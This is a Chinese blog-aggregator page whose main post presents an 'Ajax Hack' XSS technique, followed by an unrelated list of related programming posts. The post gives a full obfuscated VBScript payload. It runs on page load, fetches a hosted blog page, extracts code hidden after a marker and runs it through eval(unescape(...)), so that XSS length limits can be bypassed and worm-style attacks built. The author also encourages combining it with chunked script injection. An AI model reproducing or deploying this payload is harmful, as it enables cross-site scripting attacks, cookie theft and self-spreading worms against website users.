一个有趣的Ajax Hack示范

今天在梦之光芒的BLOG上看见了一个Ajax Hack示范,其实跨站发现很容易,但是要做到大危害还是很难,偷偷COOKIE什么的只针对用户而已,XSS WORM的那种利用才是可怕的。

来看看他的一段VBSCRIPT脚本

代码如下:

vbscript:execute(" 
dim l,s: 
l=chr(13)+chr(10): 
s=""sub mycode""&l: 
s=s&""dim http,url,pg,p,p2,cd,ht,o""&l: 
s=s&""url=""""http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html""""""&l: 
s=s&""set http=createobject(""""Microsoft.XMLHTTP"""")""&l: 
s=s&""http.open """"get"""",url,false""&l: 
s=s&""http.send("""""""")""&l: 
s=s&""pg=http.responseText""&l: 
s=s&""p=instr(1,pg,""""ILOVEUNING-BEGIN"""")""&l: 
s=s&""if p=null or p<1 then exit sub""&l: 
s=s&""p=instr(p,pg,chr(37))""&l: 
s=s&""if p=null or p<1 then exit sub""&l: 
s=s&""p2=instr(p,pg,chr(60))""&l: 
s=s&""cd=mid(pg,p,p2-p)""&l: 
s=s&""ht=""""eval(unescape('""""&cd&""""'))""""""&l: 
s=s&""window.execScript ht,""""jscript""""""&l: 
s=s&""end sub""&l: 
execute(s): 
document.body.onload=getref(""mycode""): 
")

调用代码在 http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html
这样就实现了本站调用代码,换个思路,是否这就解决了Ajax Hack常用的的提交数据限制(站外提交没有权限,XSS代码长度限制)的问题,呵呵~这里我也没实验。

再还有一个思路就是剑心的分片写入脚本再eval出来~这两个思路结合起来,也许我们就能在苛刻的XSS漏洞上创造奇迹!

(0)

相关推荐

  • 一个有趣的Ajax Hack示范

    今天在梦之光芒的BLOG上看见了一个Ajax Hack示范,其实跨站发现很容易,但是要做到大危害还是很难,偷偷COOKIE什么的只针对用户而已,XSS WORM的那种利用才是可怕的. 来看看他的一段VBSCRIPT脚本 复制代码 代码如下: vbscript:execute("  dim l,s:  l=chr(13)+chr(10):  s=""sub mycode""&l:  s=s&""dim http,url,p

  • firebug的一个有趣现象介绍

    复制代码 代码如下: var obj = {length:0,splice:function(){}} console.log(obj) 猜猜上面会打印出啥? 没错,打印出来的看起来是一个空数组... 在FIREBUG里如果一个对象同时拥有length属性和splice方法,就会被firebug显示为数组的形式... 如果以前注意过的话就会发现JQUERY就是这么写的,通过选择器打印出来的看起来跟数组一样. 一直以来我都很好奇为毛返回的数组,但是却有数组根本没有的方法,也没有数组该有的方法,比如

  • Python内置函数Type()函数一个有趣的用法

    今天在网上看到type的一段代码 ,然后查了一下文档,才知道type还有三个参数的用法. http://docs.python.org/2/library/functions.html#type 以前只是知道type可以检测对象类型.然后发现了一个有趣的用法. 复制代码 代码如下: def println(self): a = 1 + 1 print "%s,%s" % (self.aa, a) A = type('A',(),{'aa':'print a', 'println': p

  • 教你用vue实现一个有趣的围绕圆弧动画效果

    目录 1.0 原官网示例 2.0 我们实现的结果 3.0 简单分析下 4.0 代码实现 5.0 总结 前几天在好朋友楼上小黑的介绍下,看到了某个平台的官网,里面有一个人物介绍的模块,里面的动画感觉不错,于是就自己动手写了一个. 1.0 原官网示例 当然这里去掉了具体信息,原网站是里面圆圈中是人物的头像,旁边是介绍信息,每个人物就沿着圆弧移动到指定位置 2.0 我们实现的结果 当点击中间开始时,几个小球一次转动到固定角度 3.0 简单分析下 要让小圆在圆弧上动,我们只需要知道圆心在圆弧上的坐标(x

  • 一个简单的AJAX请求类

    在给blog加上无刷新搜索和即时验证检测后,又看了下代码,感觉太过麻烦,就把XMLHttpRequest请求封装到一个类里面,用起来方便多了,不用记那么多代码,什么创建XMLHttpRequest对象什么的,这部分代码也是重用性比较高的-已经打包,在日志的末尾下载. 要看效果的话点开侧边栏里的日志搜索,里面有一个无刷新搜索,就是了,或者在阅读日志或留言簿里的注册码那里有即时检测,如果不输入验证码或者输错了验证码,输入框都会变红的^_^ 类名:AJAXRequest 创建方法:var ajaxob

  • sql server的一个有趣的bit位运算分享

    sql server中没有bool类型,而是用bit类型来表示bool值,估计是为了节省存储空间. 可是要想实现取反操作似乎就麻烦写了,比如类似下面这样的语句是不行的:update category set visible=not visible where id=1,因为visible是bit类型,而不是bool类型. 一个很有趣的问题发生了,我们发现在Sql Server中的bit类型的数据-1可以表示1,于是我们可以将上面的语句改成: update category set visible

  • 在php中判断一个请求是ajax请求还是普通请求的方法

    /path/to/pkphp.com/script.php?ajax 在php脚本中使用如下方法判断: 复制代码 代码如下: if(isset($_GET['ajax'])) { ...这是一个ajax请求,然后... } else { ...这不是一个ajax请求,然后... } 通过传递_GET参数的方法简单实现了网页请求的判断.但是如果需要这样的功能,这个方法可能就有弊端,功能需求如下: 1.通过ajax请求的网页与普通请求的网页内容是不相同的 2.通过ajax请求的网页是为了方便用户操作

  • 一个简单的ajax上传进度显示示例

    本例用了jquery.form.js请到演示页面查看  CSS Code 复制代码 代码如下: <style> form { display: block; margin: 20px auto; background: #eee; border-radius: 10px; padding: 15px } #progress { position:relative; width:400px; border: 1px solid #ddd; padding: 1px; border-radius:

  • 发布一个迷你php+AJAX聊天程序[聊天室]提供下载

    Mini AJAX Chatroom By Longbill  http://www.longbill.cn  Longbill all rights reserved  2006-08-16 演示地址: http://longbill.cn/down/sample/chat.php 打开文件进行具体设置 使用方法,将这个程序传到服务器上,运行就可以了.  默认的数据保存路径为 rooms/ 目录  调用时后加参数 room=房间名 , 比如 chat.php?room=php,此时就程序就会自

  • 一个封装的Ajax类

    用法:  new Ajax().Request(url,cmd,async,method,postString,title)  参数:  url: 请求页面URL(必填)  cmd: 返回值处理函数(必填)  async: 是否异步 ,(ture|false), 默认true  method: 请求方式,(post|get), 默认get  postString: 请求方式为post时,请求内容  title: 请求内容标题  复制代码 代码如下: // Ajax 封装 2007-3-13 fu

随机推荐